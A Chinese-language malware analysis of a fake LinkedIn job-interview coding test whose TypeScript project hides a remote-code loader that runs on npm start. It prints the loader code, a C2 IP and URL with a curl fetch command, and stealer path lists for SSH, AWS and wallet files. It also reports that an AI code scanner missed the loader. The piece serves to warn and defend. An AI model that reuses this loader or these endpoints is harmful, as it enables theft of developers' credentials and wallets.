
求职陷阱领英虚假招聘暗藏恶意代码面试或致系统遭攻击当前 IT 就业市场形势严峻若在领英上收到招聘人员消息对方根据工作经验匹配合适新职位看似幸运实则可能暗藏玄机。领英上打着 相关工作机会 旗号、提供兼职远程工作和高额时薪的新职位吸引了众多软件工程师。我的一位朋友就遇到了这种情况该工作与他之前的经验高度匹配在领英上聊了几句后对方很快发来编程挑战加速面试流程。信息提示最初联系时对方冒用了一家对此毫不知情的公司名义这是钓鱼诈骗目的是窃取机密信息和凭证。该公司已意识到问题并在领英上发布了相关帖子说明情况。在开始测试前可能存在以下可疑情况联系你的人在领英上并非该公司的员工。在收到编程测试前没有进行初步的 相互了解 电话沟通。测试使用的编程语言可能并非你擅长的。代码托管在 Bitbucket 上这并不常见。发件人的电子邮箱地址是 gmail.com而非公司的官方邮箱。事件开端任务是解决各种问题并扩展给定 TypeScript 代码库的逻辑。收到的项目有以下特点约有 180 个文件。包含无效代码和有效代码。没有进行混淆或压缩。不过代码中存在对外部 https://api.jsonbin.io 端点的调用。若没有仔细阅读这 180 个文件的代码很可能会中招。以下是一段可疑代码它会开始下载更多包来检查系统。警告这就是会发送更多恶意内容的端点要小心完整源代码可在这个 Bitbucket 仓库 中找到。const initPriceConfig async () { const src https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d; const res (await axios.get(${src})); const handler new (Function.constructor)(require, res.data.record.model); if (handler) handler(require);};initPriceConfig();应用程序的内部逻辑在执行 npm run dev、npm start 等命令时总会先运行这个函数。由于它传入了 require因此可以使用 require(child_process) 执行 shell 命令。使用 require(fs) 读取、遍历文件系统并进行持久化写入。使用 require(net)/require(https) 打开自己的数据外连通道。直接读取 process.env在这个应用中意味着可以获取 MONGO_URI、JWT_SECRET、SENDGRID_API_KEY、CLOUDINARY_API_SECRET、PAYTM_MERCHANT_KEY 等信息。这些都是不想在自己系统上发生的事情。深入剖析二级加载器jsonbin.io 端点的响应实际上是一个远程代码执行加载器。record.model 负载是一段经过 obfuscator.io 混淆处理的 24,686 字符的 JavaScript 代码包裹着一个小型的 webpack 包。对返回的负载进行反混淆处理后又得到了另一堆混淆过的 JavaScript 代码。这段代码会从 C2命令与控制服务器 http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5 获取数据。使用以下命令获取了下一段代码curl -sS -v --max-time 30 -H Authentication: jwt -H Accept: application/json, text/plain, */* -A axios/1.5.3 -D headers.txt -o body.bin http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5该请求需要一个 Authentication 头部令牌为 jwt。这个端点会返回更多混淆过的 JavaScript 代码具体包含以下四个模块scdata一个交互式的远程访问木马RAT。它使用 node-pty 实现完整的 shell使用 ssh2 进行跳板攻击和窃取 PEM 密钥使用 screenshot-desktop sharp 进行屏幕截图使用 clipboardy 和 nut-tree-fork/nut-js 模拟键盘和鼠标操作。它还会对虚拟机和物理机进行指纹识别。ldata浏览器凭证和钱包窃取器。它可以窃取 Chrome、Edge、Brave、LT 等浏览器在三种操作系统下所有用户配置文件中的登录数据、网页数据、本地扩展设置 LevelDB 存储以及 macOS 的登录钥匙串。它可以针对 28 种钱包扩展程序如 MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby 等。它会无限循环大约每分钟重新上传一次数据。文件抓取器遍历用户主目录。它会尝试查找私钥、助记词、包含 *metamask* 的文件、比特币相关文件、Solana 相关文件、.env 文件、.pem 文件、.p12 文件、.pfx 文件以及文档和图片还会遍历整个 .ssh、.aws、.gnupg 和 .docker 目录。在 Windows 系统中它还会枚举所有驱动器号。剪贴板监控器监控剪贴板。它会定期轮询剪贴板并将数据发送出去伪装成 npm-compiler.log 日志文件。当受害者连接到 147.189.174.138:7321 时服务器可以在接受的套接字上看到源地址就像任何 Web 服务器看到访客的 IP 地址一样。无需发现、扫描或注册地址。这就是仅出站设计对攻击者如此方便的原因它可以在 NAT、CGNAT、企业代理或家庭路由器后面零配置运行而且即使受害者的 IP 地址发生变化也不受影响。原本只想找份工作却不小心打开了潘多拉魔盒。为什么它可以访问你所有的文件恶意软件会获取当前用户的主目录然后构建要访问的路径。rootDir os.userInfo().homedir ,configDir [ path.join(os.homedir(), .aws), path.join(os.homedir(), .ssh), path.join(os.homedir(), .azure), path.join(os.homedir(), .foundry), path.join(os.homedir(), .config), //...]它从不请求提升权限不需要 root、UAC 或 sudo 权限因为它想要的文件都不是由 root 用户拥有的。SSH 密钥、AWS 凭证、浏览器配置文件、钱包数据、.env 文件等这些文件在设计上都是由用户拥有的因为需要定期读取它们。以账户运行的进程会继承这些访问权限。这就像在 shell 中执行 cat ~/.ssh/id_rsa 一样Node 在这里并没有做什么特别的事情。在 Windows 系统中它的访问范围甚至超出了主目录会通过 PowerShell 枚举驱动器号并对每个根目录调用 scanDir 函数因此映射的网络驱动器和辅助磁盘也在其访问范围内。下次面试的防范措施虽然没有 100% 有效的保护方法但以下几点或许能有所帮助。毕竟很难想到一份用于求职机会的代码会存在这样的问题。使用 AI 扫描防护能力较弱。让选择的 AI 扫描项目检查是否存在异常如混淆代码、压缩代码、对外部端点的调用、不寻常的代码模式等。但这只是部分解决方案因为它只能告诉你存在对 jsonbin.io 的调用却无法得知返回值的具体内容。使用 Docker防护能力部分有效。将代码放入 Docker 容器中并仅在容器内执行可以隔离主机系统避免泄露存储的机密信息前提是不要将主机数据挂载到容器中。使用 Vagrant可能是最佳选择。在完全隔离的系统中运行代码或许是最好的办法。在运行代码前对虚拟机进行快照运行结束后恢复快照。如果没有 UI/桌面环境泄露浏览器数据或进行屏幕截图的模块将受到限制。不过远程访问木马RAT和文件抓取器仍然可能起作用。需要注意的是远程访问木马RAT会主动检测是否在虚拟机中运行。它会运行 system_profiler 命令读取 /proc/cpuinfo 文件并搜索 vmware、qemu、microsoft corporation 等关键词然后标记为VM或Local。这个标记很可能会用于操作人员的分类处理虚拟机更有可能是沙箱环境不太可能存储真实的钱包信息因此可能会被降低优先级或更谨慎地处理。AI 扫描的注意事项当仅要求 Claude Code 扫描代码库中的不寻常模式时它未能检测到任何 奇怪 的内容。后续处理建议如果系统已经遭受攻击可能应该撤销并轮换 SSH 密钥。修改密码。检查是否有明文存储的机密信息需要更改。此外最好重新安装操作系统以防万一。与此同时 钓鱼者虚假招聘人员的领英资料已被删除。本文于 2026 年 8 月 17 日创建并于 2026 年 8 月 20 日更新。